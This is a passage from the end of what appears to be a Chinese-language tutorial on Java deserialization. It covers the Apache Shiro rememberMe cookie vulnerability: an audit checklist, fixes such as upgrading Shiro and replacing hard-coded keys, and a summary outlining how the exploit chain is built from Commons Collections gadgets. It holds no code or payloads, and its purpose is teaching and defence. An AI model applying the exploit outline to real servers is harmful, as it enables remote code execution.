  5. 反序列化过滤:如果目标配置了ObjectInputFilter或升级了 Shiro 版本(1.7.0+ 移除了默认密钥),漏洞可能失效。

4.2 如何判断风险

审计项目时按以下顺序排查:

第一,确认 Shiro 版本:检查pom.xmllib目录中 Shiro 版本是否 ≤ 1.2.4(默认硬编码密钥)或显式配置了固定密钥。

第二,找密钥:搜索setCipherKeyrememberMecipherKey等关键字,确认密钥是否可被获取。

第三,检查 classpath:确认 Commons Collections 是否存在(同上一篇的审计方法)。

第四,确认入口:Shiro 的rememberMeCookie 解析链路是否被禁用或自定义过滤。

4.3 修复与防御

  • 升级 Shiro 到 1.7.0 或更高版本(移除了默认硬编码密钥)。

  • 如果必须使用 rememberMe,使用随机生成的强密钥,不要使用默认值或示例代码中的密钥。

  • 定期轮换密钥。

  • 如果不需要 rememberMe 功能,直接禁用。

  • 在反序列化入口添加ObjectInputFilter白名单。

  • 升级或移除 Commons Collections 旧版本依赖。

5. 本文小结

读完本文后,你应该掌握这些内容:

  • Shiro rememberMe Cookie 的处理流程:Base64 解码 → AES 解密 → readObject()。

  • Shiro 漏洞的新增点不是 gadget 链,而是 Cookie + 加密这个新入口。

  • 密钥硬编码是漏洞成立的关键条件。

  • Shiro 利用链的构造流程:CC 链 -> 序列化 -> Shiro AES 加密 -> Base64 编码 -> rememberMe Cookie。

  • CC7 使用Hashtable->LazyMap触发点。

  • CC5 使用BadAttributeValueExpException->TiedMapEntry->LazyMap触发点。高版本中,由于val字段的声明类型发生了变化,导致无法以相同方式构造利用链。

  • 审计时先找密钥,再确认版本和 classpath。

  • 修复的核心是替换硬编码密钥或升级 Shiro 版本。

下一篇将继续讲 WebLogic 反序列化漏洞,涉及企业中间件协议入口和服务端对象恢复机制。

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。